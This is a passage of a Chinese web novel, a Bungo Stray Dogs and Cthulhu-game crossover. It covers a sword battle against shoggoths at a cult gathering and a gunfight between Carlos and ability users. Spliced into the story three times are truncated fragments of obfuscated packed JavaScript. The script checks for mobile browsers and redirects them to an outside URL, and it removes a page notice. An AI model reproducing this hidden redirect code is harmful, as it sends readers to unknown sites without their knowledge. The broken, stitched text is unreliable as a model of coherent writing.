几乎没有人能相信,这样庞然的怪物曾隐藏在这小小的石头中,这瓶中的恶魔久违地呼吸到自由的空气,张牙舞爪的黑色触手在空气中尽情地伸展,探寻般地蠕动。 尖叫声布满了宴会厅,人们争先恐后地退开,涌向大门,却绝望地发现,大门不知道什么时候已经被锁死了,有男士后退几步,狠狠地踹上木板,却惊恐地发现,它像是与空间融为了一体一般,纹丝不动。 现在,在这个没有人逃离的密闭空间,怪物可以依照自己的心意,慢悠悠地挑选猎物了。 它好整以暇地在人群中梭巡,狎昵地贴近离得最近的一个青年的脸,那张脸早就失去了血色,连惨叫声都发不出来,怪物如同舔舐,如同嗅闻,在那张脸上轻蹭了一下,留下了一些浓稠的粘液,然而,下一秒它就失望地辨认出,那并不是他要寻找的人。 如同察觉到了什么一般,触手直起身体——如果那能够称之为身体的话,猛地调转了方向,径自朝着地上男人的尸体涌去。 那是捕猎,是进食,没有人会怀疑这一点。 黑色的怪物,将男人囫囵吞下,蠕动着身体,每个人都能清晰地听到,在那之中,什么东西被一点一点挤压,慢慢碾碎的声音。 像是感觉到美味一般,在黑色的形体中,闪动着的微光,人们后知后觉地意识到,那是眼睛,绿色的眼睛,因为餍足而眯起,出现又消失。 然后它整个向上涌起,流动的身体不断变换着,就像被看不见的手所□□的橡皮泥一样,过了几秒,或许是几分钟,它终于定型,站在那里的,是那个本该死去的男人。 他衣冠楚楚,看起来与任何正常的人类都别无二致,只有脸上的表情不断改变着,一会儿惊恐,一会儿愉悦,有那么一会儿,或许是仍然对于人类的构造感到疑惑,那两只眼睛如同爬行动物一般,猛地向两边翻去。 但它很快就注意到了,周围的人类并不是这样使用五官的,它思考着,学习着,用刚形成不久的声带,生涩地发出声音,“Tek看到,没有,……贱民,下水、道,老鼠,别,想从,我这,里eli,夺走任何东西,是我赢了,听到没有,是我赢了!” 一开始,那声音就像卡顿的磁带,夹杂着让人恶心的,黏稠的杂音,在每个不该停顿的音节上断开,但是渐渐地,他说得越来越熟练了,顺畅的语句,饱满的情绪,就像把男人的表演定格在摄像机中,重新播放出来一样精确。 但是此刻,恐怕已经没有观众了。 没有人再有心思去关注着小小的恐惧,因为,更大的恐惧,已经在他们自己的身上发生。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483316|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如同响应着第一个破壳的怪物一般,护身符上的宝石,一颗接着一颗碎裂,而会出席这场黑弥撒的每一个人,都佩戴了护身符。 一瞬间,会场就变成了地狱。 有那么几个幸运的家伙,他们没有立刻死去,仓皇的视线在会场中梭巡,落在了天照院仁的身上。 然而,即便是此刻,他们也没有对这个罪魁祸首产生任何怀疑,或者说,他们畏惧承认这一事实,毕竟,此时此刻,一身清爽地站在会场的中心,面色没有任何改变的天照院仁,看起来是如此的神圣而不可侵犯,就像是唯一能依靠的救赎。 “救救我!救救我!教主大人!”他们连滚带爬地跑过去,匍匐在他血红色的圣袍下,苦苦哀求。 “我的钱,所有的资产,都捐献给教会,所以,所以你一定会救我的,对吧?”他们卑微地祈求,许尽一切好处。 而天照院仁,他什么也没有说,只是垂下视线,神情似悲悯似嘲弄,但是一定要说的话,那一定只是一个已经燃烧殆尽的男人在那里留下的些许带着火星的灰烬而已,除了虚无,什么也没有。 就像是被那视线所刺激到了一样,他们再也维持不住那些表面的谦卑。 “救我啊!我说救我!你不是就想要钱吗?你这装神弄鬼的老神棍!我有的是钱,都给你捐了那么多了,为我服务啊!” 伴随着身后越来越近的蠕动声,声音逐渐变得歇斯底里。 然后,在漫长到近乎无尽的绝望中,他们几乎已经感受到了那冰冷的东西贴上后背的触感。 本该是这样的。 “够了。”我说。 玻璃碎裂,我从二楼一跃而下。 金色的太刀出鞘,伴随着自由落地的重力,刀刃抵达之处,黑色的怪物如同融化的黄油般,被丝滑地切开。 我在地上翻滚卸力,被一刀两断的触手在地上不甘地蠕动着,想要重新粘连在一起,我维持着半跪的姿势,调转刀锋下刺,于是它们被死死钉在了地板上。 金色的光辉接触到它们的瞬间,就像被撒了农药的植物一样,瞬间枯萎,失去了活性,化为干裂的碎片。 我一甩刀锋,站起身。 人们惊惧地看着我,又面面相觑,片刻之后,仿佛达成共识一般,躲在了我的身后。 “杀了他!”不知谁对我喊,那声音充满了仇恨,接着,如同一呼百应一般,剩余的幸存者们纷纷附和。 “杀了这个老神棍!” “一定是他安排了一切!” “杀了那个狗娘养的疯子!” 对一切肮脏的谩骂充耳不闻,天照院仁缓慢地抬起头,与我对视,“你选择保护这些人吗?恶魔。” “他就是这么和你解释的?恶魔?”我问。 “你们做选择,你们制造影响,你们随意地干扰世界的进程,像玩游戏一样,按照自己的心意摆弄这个世界。”天照院仁笑了,“有比恶魔更加适合形容你们的吗?” “有啊,我还以为你这个职业会很熟悉呢。”我抬起头,看向他背后巨大的圣杖的雕塑,“神。” 听到这个词的天照院仁,微微牵动了一下嘴角,大概他不止对这个概念感到熟悉,更觉得不屑一顾。 “但很可惜,我既不是恶魔,也不是神。”我说。 “一定要说的话,”我将刀锋对准他,看着他的眼睛,“我只是,神的皮套而已。” 17. 第 17 章 “这不是私人恩怨,乱步君。”夜风缭乱,樱花花瓣被吹得四散,卡洛斯的风衣下摆猎猎作响,“我们之间,早就已经两清了。” “我这么做,只是出于承诺。”伴随着他的话语,黑色的怪物从他左手无名指上的宝石中流淌出来,怪物四散在身体各处的嘴巴,发出令灵魂震颤的古怪叫声,无定形的触肢,亲昵地攀上他的肩膀,又调转方向,对眼前的乱步虎视眈眈。 他腾出一只手,像抚摸可爱的宠物一样,在怪物的身上摸了摸,垂眸看着它笑了起来,“我和这孩子之间的承诺。” “这就是你们在做的事情?”状况是肉眼可见的不容乐观,然而奇怪的是,注视着眼前明显超越了常识范畴的怪物,乱步的心中却毫无波澜,甚至有种从灵魂深处涌上的亲近感。 不如说这种明显不正常的感受,本身就够吓人了。 尽管如此,乱步却依旧冷静地试图分析,“把这些怪物分发给市民,就为了让它们取而代之?” 他说这话的时候,皱起一边眉毛,脸上的表情可以称得上困惑,这是理所当然的,就像智者无法理解愚者的逻辑,正常人不懂疯子的行事动机。 “我们?”像是对这个词感到荒唐,卡洛斯哈哈大笑,像是觉得稀奇,“你搞错了两件事,真是没想到,像你这样的人,也会有看错的时候啊,乱步君。” 他扭头对着肩上的怪物小声嘀咕了一句,“看来神秘学会平等地制裁每一个没加点的人。” 怪物歪头看他,附和一般,扭动了一下身体。 他没再继续说那些超游的内容,很快又抬起头,重新看向乱步的方向,伸出一根手指,“第一,并不存在所谓的‘这些’怪物,现在分布在横滨的修格斯,实际上都是同一只——都只是这孩子的分裂体而已。” 他的笑容愉快,仿佛只是在闲聊一些稀松平常的小事。 “第二,”他伸出第二根手指,“虽然乱步君说得很对,我的确是个坏东西,但就算是我,也还没有疯到要在这座城市里搞无差别大屠杀的程度。” 他仿佛很忧郁般地叹了口气,“我为了让他能顺利地在这个世界线上也培育出这孩子的身体,又是打白工,又是拉赞助的,我可是做了不少努力呢。” 他扭头,看向指路教会的方向,“连‘那个东西’都交给他了,但是没想到,他最终还是选择了这种方式。” “最糟糕的方式。” # 密闭的宴会厅内,天照院仁冷淡地和我对视,挥了挥手,于是一直以来,如同雕塑般虔诚地围绕着他下跪的那十二位骑士同时站起了身。 他们,不,现在或许称为它们要更加合适吧,它们摇摇晃晃地向我走来,极度不协调的四肢,在走动的过程中逐渐拉长,变形,最终化为粘稠的,如同点缀着绿宝石般的粘稠黑色胶质。 绿宝石闪烁着,明明灭灭,只有仔细看,才能发现,那是一只只流动着的,出现又消失的浑浊眼睛。 我长舒一口气,虽然刚才表现得神挡杀神,佛挡杀佛,但实际上,我还是一个生活号,既没有点过斗殴,也不懂剑术。 之所以突然变得这么厉害,只不过是因为手上这把剑的特性而已。 天丛云剑,素盏鸣尊斩杀八岐大蛇后从其尾部取得的神剑。 但在这个游戏中,刨除种种传说与象征意义,究其本质,它是一件装备,神话物品级别的装备。 【每次攻击造成7-14点法术伤害。装备该武器时,每回合消耗3点精神值,换取必中效果,20%可能性触发即死效果,每次使用该武器攻击杀死目标时,获得1点充能,消耗10点充能,可发动最终技——天之丛云。】 这是毫无疑问的神装,对于斗殴技能只有初始点的我来说,它的必中效果的实用性更是不必多言,说句不要脸的话,简直是为我量身打造的武器。 为了和那个人对战,准备到这种程度,也是理所当然的,但是没有想到,现在却用到了别的地方。 天照院仁显然不打算再和我进行任何交谈,也是,他和我之间,没有什么好说的,我是纯粹的外来者,不请自来的不速之客。 对于他的过去,我略知一二,但既没有深究的兴趣,也没有任何触动,想来,他对我也是一样。 我们,现在只是想置碍事的家伙于死地。 在他的示意下,怪物们向我的方向直起身子,颤动的黑色胶质的触手,蓄势待发,逐渐将我团团围住。 我双腿像是生根般岿然不动,手持天丛云,即使对剑道一窍不通,身体却自己摆出了起手式。 到这种程度的话,已经不是我在使用剑了,而是剑在使用我的身体。 像是对天丛云的金色光辉感到畏惧,它们谨慎地围绕着我,小幅度的移动,而我,索性闭上了双眼,我知道凭借我的动态视力,是肯定跟不上它们的动作的,既然如此,不如发挥我的优势数值。 【聆听 1D100 48/75 检定成功】 下一秒,我听见凛冽的风声,睁开眼,看见的是铺天盖地的黑色胶质,如天崩地裂般向我涌来。 自下而上,金色的刀光,就像要将夜晚也划开的,寒冷而寂寞的一闪。 刀锋迅捷地插入最前方的怪物体内,轻薄地切开一个裂口,贴着那粘稠的组织,一路向上。 怪物凄厉的嚎叫声压倒了宴会厅内的一切声响,巨大的山一样的身体,被串在天丛云上,徒劳地震颤着,随着破体而出的刀刃,向着两边轰然倒塌。 这是第一斩。 如果说这一击还能用静美来形容的话,那么接下来的数十斩,天丛云就像隐居许久,终于品尝到了那么些许血腥气的剑士一样,变得狂暴而奔放。 天罚,如果一定要用一个词,那是如同天罚一般的斩击。 在短短几秒内,它牵引着我的身体,挥刀数十次。 空气中闪烁着连绵的剑光,汹涌而来的黑色的浪潮,在这狂放的剑势下毫无招架之力,以我为圆心,前方五米的扇形都变成了真空的区域。 刀锋贪婪地吸吮着每一个敢踏入它领域的生物的血肉,我头顶的san值条以肉眼可见的恐怖速度飞快地下降。 几秒后,怪物停止了攻击,它大概也察觉到了,这是徒劳的进攻,审慎地停留在刀锋所能触及的范围之外,迟疑地扭动着,如同在交头接耳,商量着战术。 我面不改色地站在那里,一副风轻云淡的样子,只有我自己知道,自己现在的状态,绝对算不上太秒。 短时间内大量掉san,让我头痛欲裂,恶心欲吐,种种割裂而毫无逻辑的想法,在脑内飞快地频闪着,简直如同快要入睡时荒诞的梦境一般,疯狂的前兆。 我快速地扫视了一圈眼前的宴会厅,在刚才的那轮交手中,我大概干掉了三只怪物,剩下的怪物依旧对我虎视眈眈。 我计算着各种数值,觉得局势依旧在控制中,抓紧时间,从游戏背包里掏出一管镇定剂扎在大腿上,几乎刚把针管推到尽头,持刀的右手就自发地动了起来。 我被天丛云带着,回身一斩,偷袭的怪物发出一声凄厉的哀叫,身体迅速地石化,干裂,扑簌簌地掉落在地上,化为灰烬。 20%即死,触发。 连停顿也没有,攻击从四面八方袭来,它们的配合比刚才精妙了许多,不再盲目地以巨大的身躯进行碾压,而是分化出更加自由的触手,参差错落地刺来。 在我挥刀斩落来自左前方攻击的瞬间,后背的触手几乎已经要刺穿我的身躯,尽管在天丛云面前,这些触手就像砧板上的鱿鱼一样,但对于普通的血肉之躯而言,无疑是可怕的凶器。 之前为了尽可能地节省体力和san值的消耗,我一直维持着原地不动的防守姿态,然而,现在,无论如何是没有这种余裕了。 我深吸一口气,下一瞬,左脚踏地,俯低的身体如同离弦之箭一般,主动扎入了怪物堆中。 金色的刀光在空气中不停闪动着,出现又消失,满级的身体勉强能够满足天丛云高涨的战意。 四只,五只,六只。 我在心中默默计数,十二个骑士已经被消灭过半,而我依然毫发无伤,察觉到这一点,怪物们也开始变得焦躁。 不,只有我自己明白,那根本不能称之为毫发无伤。 【san值 70→52 灵感检定 1D100 49/90 检定成功 获得不定性疯狂暴力倾向】 我看着眼前界面上不断跳动地字句,愣了一下。 下一秒,如同石油般粘稠的黑色文字自UI中流淌而出,蜿蜒爬行,缠绕上我的四肢。 在它们接触到我的瞬间,庞大的破坏欲如同洪水般倾泄而出,脑子里重要的神经,大概断掉了那么一两根吧,痛苦或是喜悦,都感受不到了。 我变成了“疯狂”的提线木偶。 我听见自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无所顾及地忽视疼痛的感觉,毫不犹豫地挥动剑锋,下一秒,触手从修格斯的身体上脱落,它困惑地蠕动着断肢的截面,而我已经拖着伤痕累累的身体,主动冲入它的怀中。 天丛云在空气中留下十字状的刀光,触及到它的瞬间,巨大的身躯迅速地灰败,干裂。 即死触发。 这样,就是第九只。 是我赢了。 像是察觉到我身上气场的微妙变化,除了直接被天照院仁指挥的骑士之外,会场内那些刚刚完成转化的修格斯都看向了我的方向,刚刚获得的人类身躯在巨大的危机感之下再次扭动,变形,化为巨大的漆黑的怪物。 近百只怪物同时向我的方向冲来。 我的身躯已经摇摇欲坠,嘴里满是血腥味,如果只是继续斩击的话,肯定没有办法应对吧。 但是,已经不需要了。 九只骑士,加上刚刚闯入宴会厅时斩杀的那只普通修格斯,这样一来,10点充能就已经完成了。 我控制不住地咧开嘴角,露出一个疯狂的笑容,高高举起金色的太刀,发动技能。 【天之从云——】 金色的,巨大的半球体,以我为中心,猛地向外扩散开去,伴随着巨大的冲击,场内的修格斯发出尖锐的惨叫,黑色的身躯在这金光中逐渐变得模糊,褪色,直至湮灭。 剧烈的强光大概持续了五秒左右,五秒后,金光散去,宴会厅内弥漫着高温的白色云雾,目之所及,已经没有了怪物们的身影。 幸存的人来呆呆地坐在地上,似乎还没能从刚才的景色中回过神来,我用太刀支撑着身体,半跪在地上,大口喘息,半天,才勉强站起来,一步一步,摇摇晃晃地走向天照院仁的方向。 金色的刀锋在空中滑过一个弧度,刀尖牢牢地抵上了他的脖颈。 赌上一切,泯灭良心,才换取的秘密武器,在一夜之间就被不知从哪里跳出来的无关人士毁灭殆尽,他现在是怎样的心情呢? 即使我认为他是一个非常无聊的人,此时此刻,也不免产生了一点好奇。 然而,那张脸却没有任何表情,低垂着的眼睛,似悲悯似嘲弄,但是一定要说的话,那一定只是一个已经燃烧殆尽的男人在那里留下的些许带着火星的灰烬而已,除了虚无,什么也没有。 啊,这家伙,果然很讨厌。 但是我讨厌的,一定是在身上看到的,我所深深厌恶的我自己。 强行压抑着从他身体上切下一块两块来的破坏欲,我没有和他多做交谈,只是这样直接了当地,向他提出了要求。 “交出来。”我说。 18.第 18 章 “交出来。”我将天丛云抵在天照院仁的脖子上,冷冷开口。 我想从他那里得到的,是那枚镶嵌在权杖上,用来控制修格斯的紫色宝石。 虽然说是宝石,但我更熟悉它在游戏里,作为道具的名字——古老者水晶。 有了这个,就有了能够直接和那个人谈判的条件。 然而,面对生命威胁,天照院仁却一派从容自若的样子,没有回答,只是淡漠地抛出了另一个问题,“有必要做到这种程度吗?” 不用他说,我大概也能猜到,自己现在看起来是何等凄惨的模样。 刚才正面受了修格斯一击,胸口一直感觉到尖锐的疼痛,大概是骨折了,现在连站直都很困难,整个人摇摇欲坠。 □□上的伤痛暂且不提,过度掉san的后遗症正如潮水般涌来,让我头疼欲裂,脑浆像是一壶烧开了的热水一样在沸腾,眼前的景象满是重影,甚至感觉到鼻腔里有温热的液体正在流出。 人物状态栏里的不定性疯狂【暴力倾向】更是自战斗结束后就蠢蠢欲动,唆使着我将眼前这个自以为是的家伙的手或是脚切下来。 为了防止这种情况真的发生,我把天丛云收起来,一把扯住他的头发,毫不犹豫地将他的脑袋重重地掼在了他身后锡杖雕像的底座上。 在三四次撞击之后,在体内的叫嚣的破坏欲终于将将平息,我维持着按住他脑袋的姿势,听到他拼命忍住,但依然泄漏出来的喘息声。 “现在,稍微搞清楚一点自己的立场了吗?”我问。 因为姿势的原因,他被胁迫着半跪在地上,短短的发茬被血浸透了,即便如此,他仍然挣扎着将头转过来,鼻血淌下来,将脸糊得十分狼狈,但他看着我,居然还能笑得出来。 笑到一半,被血呛了一下,发出短促的气音。 “拔出这把剑的人,最后无一例外都疯了吧?”他说。 这句话让我的脑袋空白了一下,诧异地看着他。 作为一介NPC,他为什么会知道这种情报? “那么你呢?时田纯。”他对我的反应熟视无睹,喊着我的名字,继续发问,黑色的眼珠里有着无法窥探的深沉,“你现在是清醒的吗?” “明明是什么都拥有的人,有着值得珍惜的一切,希望你能够获得幸福的重要的人,是什么样的动机,驱使着你毫无顾忌地挥霍自己的身体,对自己的事情漠不关心?” “还是说,这些也都是你口中的那个‘神’的意志?” 我没有想到,自己在他人眼中,居然是这样的形象。 这样的话,一直以来从天照院仁那里感觉到的,若有似无的敌意,就说得通了。 那是一无所有的人对拥有一切的人的嫉妒和仇恨。 然而,就我自己的角度来说,我其实也是什么都没有的人。 就连乱步君的事情也是…… 我强行掐断自己飘远的思绪,也跟着蹲下来,抓着他的头发,迫使他直起上半身,和我对视。 “现在是我提问,你回答。”我提醒他。 从刚才开始,明明是受胁迫的立场,他却一直在回避我的要求,甚至试图掌握这场交涉的主动权。 但说实话,他的策略的确是有效的,我现在,好奇得不得了。 这样想着,我再次开口,“你是怎么知道这把剑的事情的?” “你的那位同伴,给了我一些有趣的东西。”一边回答我的问题,他一边艰难地试图伸手,从衣兜里掏出什么。 我没有制止,只是紧盯着他的动作,还有余裕反驳一句,“我和那家伙可不是什么同伴。” 他听了这话一哂,那笑容里多少有点讽刺的意味。 而我在看清他掏出来的东西的一瞬间,瞳孔剧烈地震颤,所有多余的想法都消失了,只剩下不可思议。 那是一本书。 黑色的封皮上有着齿轮的压花,除此之外,没有任何装饰,书看起来不厚,然而我知道,那上面所记载的,是近乎永恒的故事,并且今后,也会一直记载下去,无穷无尽地延续着永不结束的悲剧。 我听见自己干涩的声音,像是无法理解眼前所见的东西一样,喊出了那本书的名字。 “……存档书?” # 江户川乱步狠狠地向左边一扑,狼狈地趴在地上,躲过了怪物的袭击。 身上的衣服早就不复早上出门时的齐整,沾满了尘土与脏污,脸上也是一样的狼狈。 卡洛斯好整以暇地坐在河川边的围栏上,单手支着下巴,和乱步慌不择路的模样的不同,他悠闲得让人生气,甚至有余裕对着怪物喊话。 “怎么回事啊,修格?连这种敏捷30的小鬼都追不上?睡觉睡太多身体生锈了吗?” “Tekeli-li!!Tekeli-li!”怪物回以意义不明的嚎叫,并在原地跳来跳去,无论谁看,都只是一团在跳动的恶心胶质而已。 然而卡洛斯居然饶有兴致地一边哈哈大笑,一边举手投降,“是是,按你喜欢方法来吧,我闭嘴就是了。” 尽管如此,他也并没有按照他所说的那样闭嘴,依旧兀自小声嘀咕,“有自己的节奏?我看是以前惨败给乱步君,有心理阴影了吧。” 这句话并没有逃过在场其他人的耳朵,被他称为“修格”的怪物突然停下了动作,把左支右绌的乱步丢在一边,回头气势汹汹地朝着卡洛斯的方向蹦去。 和宴会厅里的那些怪物相比,它实在小巧的过分,比起邪恶的神话生物,看起来更像那种异世界作品里常见的史莱姆,只不过是黑色的。 此时那小小的身体高高跃起,像一颗炮弹一样狠狠地砸中了卡洛斯的脑门,被击中者一脸愕然地向后栽去,猝不及防地掉进了河川中。 “呀!你这臭小子……咕噜咕噜咕噜……”连咒骂的话都没能来得及说完,他那惊慌失措的声音到最后只剩下了一连串可疑的气泡声。 痛击队友之后,修格也没有立刻回身重新捕猎乱步——不如说刚才整个过程,比起狩猎,都更像是在玩弄猎物,它做得不专心,也没有多少杀气。 此时它也好整以暇地在河川旁的围栏上蹦来蹦去,若无其事地欣赏着卡洛斯在大冈川的河水中不可置信地挣扎着的滑稽模样。 但随即,它那闲散的动作突然停下了,微微侧身的同时,小巧的身体以不可思议的速度消失在了围栏上。 在它消失的瞬间,几颗子弹精准地击中了它刚才所在的位置,在石围栏上留下几道白色的划痕,与此同时,三辆黑色的商务车猛地从街道尽头冲来,在乱步的身边停下。 从车上下来的,是十几个荷枪实弹,穿统一制服的男子。 他们训练有素地朝着修格的方向一刻不停地射击,用火力压制它的行动,而为首的男人一把抓住乱步的胳膊,将他甩上了其中一辆车。 然而,即使是如此危急的情况,他也不忘向乱步解释,“江户川先生,我们是时田社长派来保护您的,现在的状况很危险,请立刻跟我一起离开。” 他的态度诚惶诚恐,仿佛生怕惹乱步生气似的,不,应该说,他害怕的其实另有其人。 不过,被保护者的态度却并称不上积极,乱步慢吞吞地说,“可以是可以啦,但恐怕没有那么容易吧?” 仿佛要印证他的话语一般,下一秒,车顶就传来一声巨响,“来都来了,干嘛这么着急走啊?一起留下来玩玩吧。” 伴随着轻佻话语一起出现的,是如同落雨般,狂放的弹幕。 商务车显然经过改装,第一轮子弹并没有穿透车顶的装甲,只是留下了一些深深的凹痕,然而袭击者很快发现了这一点,第二轮子弹精准地追击在了凹痕上,钢铁发出不堪重负的吱呀声。 这样下去,恐怕再过数秒,车顶就会被击穿吧。 经验丰富的保镖队长立刻做出了判断,一边大喊着“支援”,一边探出车外,向着车顶的方向射击。 然而,袭击者显然比他更加训练有素,几乎是在他的头探出车门的一瞬间,两下枪响,子弹像是被风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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似乎是摸清了黑衣男子们的实力,又或者认为人数已经削减到了不足为惧的程度,他直接从车尾闪出,一枪接着一枪地收割着黑衣男子们的性命,然而,当他下一次扣动扳机时,响起的却不是枪声,而只有机械碰撞的空响——子弹用完了。 受到这一状况鼓舞的黑衣男子们,立刻抓住机会,将枪械中剩余的子弹全部倾斜而出。 正为这唾手可得的胜利而欢欣鼓舞时,他们注意到了卡洛斯脸上的表情。 没有任何恐惧或者慌乱,白发青年胜券在握地微笑着。 “BOOM。”他眯起一只眼睛,为空枪配音,“换手时间。” 在来得及理解这句话的含义之前,他们就不由自主地睁大了眼睛——眼前出现了令人难以理解的现象。 巨大的,流动的黑色的薄膜,凭空出现在空中,将子弹尽数挡下,看起来没有受到任何伤害,金属制的子弹被它吞噬进富有弹性的体内,咀嚼,消化,最后攥成了一大块造型扭曲的废铁。 黑色薄膜发出了人类难以理解的叫声,绿色的光点在它的身上明灭,然后,似乎没有得到满足,它大张的身体猛地朝黑衣男人们扑了过去。 其中一个男人慌乱地捂住了脑袋,他的头颅被黑色的胶质整个包裹住,随之传来的是剧痛,头骨被挤压着,耳道被堵住,骨骼不堪重负的吱呀声在颅内回响。 他长大了嘴,试图尖叫,然而,在胶质的入侵下连这种事情页做不到,徒劳地张合着嘴唇,在极度的恐惧中,无声无息地死去了。 被眼前不可思议景象镇住的男人们,呆呆地看着这一幕,连枪都在不知何时放下。 然而,在场的另一个人却并没有那么做。 他慢条斯理地给手枪换上新的弹匣,四声枪响,剩下的人走得很干脆,起码比被怪物活活压死来得幸福多了。 “我真善良。”望着一地的尸体,卡洛斯喃喃自语。 修格随意地抛下那个头颅被碾压到已经看不出原型的黑衣男人,一蹦一跳地蹭到了浑身湿漉漉,像水鬼一样的卡洛斯身边,发出了一声尖锐的鸣叫。 “现在吗?不行哦,还没到饭点呢。”卡洛斯歪头听了一会儿它的发言,有些心不在焉,“再说……” 他转过身,看向不知何时悄无声息出现在战场上的,三个沉默的黑衣人。 和刚才对战的那些,充满杂鱼气质的家伙不一样,三人身上有种看不透的气息。 卡洛斯舔了舔嘴唇,“这不是还有客人吗?” 19.第 19 章 “异能者啊……怎么办?”卡洛斯略微偏头,看向身侧的修格。 黑色的怪物原地跳动了一下,发出了谁也理解不了的刺耳嚎叫,在场除了卡洛斯之外的人,听到这叫声,都忍不住微微蹙了蹙眉头。 然而,白发青年却一脸原来如此的表情,点了点头,仿佛真的在和这怪物认真商量似的。 “就这么办吧。”他轻快地说。 这仿佛加密通话一般的对话,让袭击者们提起了十二分的警惕。 “那么,我的对手是……”与之相反,卡洛斯则表现得十分轻松,没拿枪的那只手伸出一根食指,在三人之间点来点去。 那游戏般的做派,仿佛面前的三人,完全是不值一提的对手一般。 他的手指最终锁定在站在最前方,身材高大的男人身上,“就选你吧。” 男人一言不发地向前走了一步,仿佛收下了对手这直白的挑衅。 他的大半面容被高领的外套遮住,暴露在外的部分,隐约可见一道几乎贯穿了整个面部的狰狞刀疤。 卡洛斯仔细端详了那伤疤一会儿,啧啧称奇,露出了愉快的笑容,“小哥,你看起来很强呢。” 没有回答他,男人沉默地伸出双手,白紫色的电流在他的双手间跳动,将深夜的街道照得雪亮。 “不喜欢闲谈吗?真遗憾。”卡洛斯用略带羡慕的视线盯着那电弧,“话说,我从以前就这么想了,你们异能力者,真方便啊。” 没有回答他,电光猛地汇聚成球形,带着轰啸的雷鸣声,朝着卡洛斯的方向砸去。 刺目的光芒散去,空无一人的那里,只有被烧得焦黑的地面。 错愕的感情一闪而过,男人的后背汗毛猛地竖起,令人印象深刻的轻佻声线再次响起,是从身后传来。 “与生俱来的能力的话,就不用担心装备丢失了呢。”冰冷的枪口抵上后腰,“不过难道是因为这种原因,所以特别松懈吗?” 即使不回头,也能想象出背后的人,如同恶魔一般的笑脸。 “到处都是破绽啊。” 男人大吼一声,猛地回身,用带着电光的手掌,劈向背后的枪械,然而,他的动作,终究是太慢了。 “Byebye~”伴随着蜂蜜般甜腻的告别,大口径的子弹毫不犹豫地贯穿了他的身体,内脏带着血花“篷”地炸开来,大半的身体几乎都消失了。 “咦?”略显疑惑的声音响起。 原本预定是三枪的,毕竟俗话说得好,两枪身体一枪头,神仙来了也难救。 然而在扣下扳机的瞬间,斜下方刺过来的匕首却以巧妙的力道敲向了枪柄,而卡洛斯在此之前,居然毫无察觉。 这样想着,在匕首真的触及到枪柄之前,他就飞快地顺势抛起了手枪,来人的身影因为他这意料之外的动作而微微一顿,抓住这个空隙,卡洛斯迅捷地换手,空置的左手接住滞空的枪械,连瞄准都没有,凭着直觉连开三枪。 来人闷哼一声,除了第一枪猝不及防地中弹了之外,剩下的两枪居然都躲开了。 过快的速度在空气中甚至留下了黑色的残影,直到这时,卡洛斯才看清了袭击者的身影。 和雷电异能者相比,瘦小得过分的身形,以至于刚才三人站在一起时,卡洛斯几乎没有注意到他,不,仔细想想,对于身经百战的卡洛斯来说,这种状况根本不能用这种含糊其辞的说法合理化过去,如此一来,就只有一种解释了。 “是忍者哎。”他用那种痴迷于日本文化的欧美人常用的,大惊小怪的语调说。 瘦小的袭击者因为这话语停顿了一下,压低身形,猛地朝他的方向冲来。 在眨眼的瞬间,他从卡洛斯的视线里消失了。 然而,卡洛斯却没有表现出丝毫的惊慌。 “骗你的。”他常挂于嘴边的笑容显出一种森然的恐怖,右手击出,毫不犹豫地在空无一物的前方一抓,扣住袭击者持匕首的手腕,“是视线干扰的异能吧?” 下一秒,以肩膀为支点,他狠狠地将面上犹带着错愕的袭击者狠狠掼在了地上。 袭击者的反应很快,即使手腕仍被牢牢地掐住,依然双腿使劲,狠狠踢向卡洛斯的方向。 然而,他终究慢了一步,或者说,就算没有慢,也毫无用处。 在过肩摔后的一瞬间,卡洛斯就已经从站立切换成了单膝跪地的姿势,这样身体缩成一团,重心在下的姿态,以他的大猩猩体质而言,就算被踢上那么一两下,也依然在安全范围内。 然而,这一切袭击者都已经无法看到了,因为子弹已经毫不犹豫地贯穿了他的头颅,血花从后脑勺溅出来,洒在地上的瞬间,他的身体弹跳了一下,失去了所有的力气。 完成这一举动的瞬间,突如其来的危机感使卡洛斯下意识地向前翻滚,他闪避得足够及时,雷电的火花仅仅将地上袭击者的尸体烧成了焦炭。 他躲在商务车后换了弹匣,借着后视镜观察着情况。 无论如何都应该已经失去行动能力的雷电异能者此时居然奇迹般地站了起来,失去的半边身体依然清晰可见,也不像是得到了治疗的样子。 “还有高手?”他喃喃自语,稍微变换角度,看见站在雷电异能者后方,将手覆盖在他后背上的另一个男子。 “亡灵法师都出来了,给兄弟干什么片场来了?”他略微思索了一下,几乎整个人贴在地面上,从掩体后探出身体。 金色的瞳孔缩紧如针尖,如同捕食的野兽般,对着目标毫不犹豫地射击。 几乎在他出现在视野内的瞬间,铺天盖地的紫色球形闪电就狂暴地飞来,与之相比,从枪□□出的子弹简直微小得可以忽略不计。 然而,这颗小小的子弹,却冷酷而精准地,以难以想象的速度命中了亡灵法师的膝盖。 他立刻就站立不住,手掌也从雷电异能者的后背移开,于是,那些声势浩大的球形闪电就像耗尽电量的手电筒一样,垂死挣扎地闪烁了几下,悄无声息地在空中消散了。 反应过来的亡灵法师,立刻伸手重新抓向摇摇晃晃倒地的雷电异能者的身体,但卡洛斯又怎么会让他如愿,下一枪就将他的手掌整个轰飞。 亡灵法师犹不死心,强忍着剧烈的疼痛,面色煞白,仍然挣扎着伸出另一只完好的手,然而,一切已成定局,无力回天。 卡洛斯几乎是像散步一样,信步闲庭地走过来,将他的手掌碾在脚下。 “完赛。”他说,一枪轰碎了他的脑袋。 鉴于亡灵法师的特殊性,他特意在尸体旁边守了一会儿,确认三个异能者都死透了之后,才回身走向那辆载着乱步的商务车。 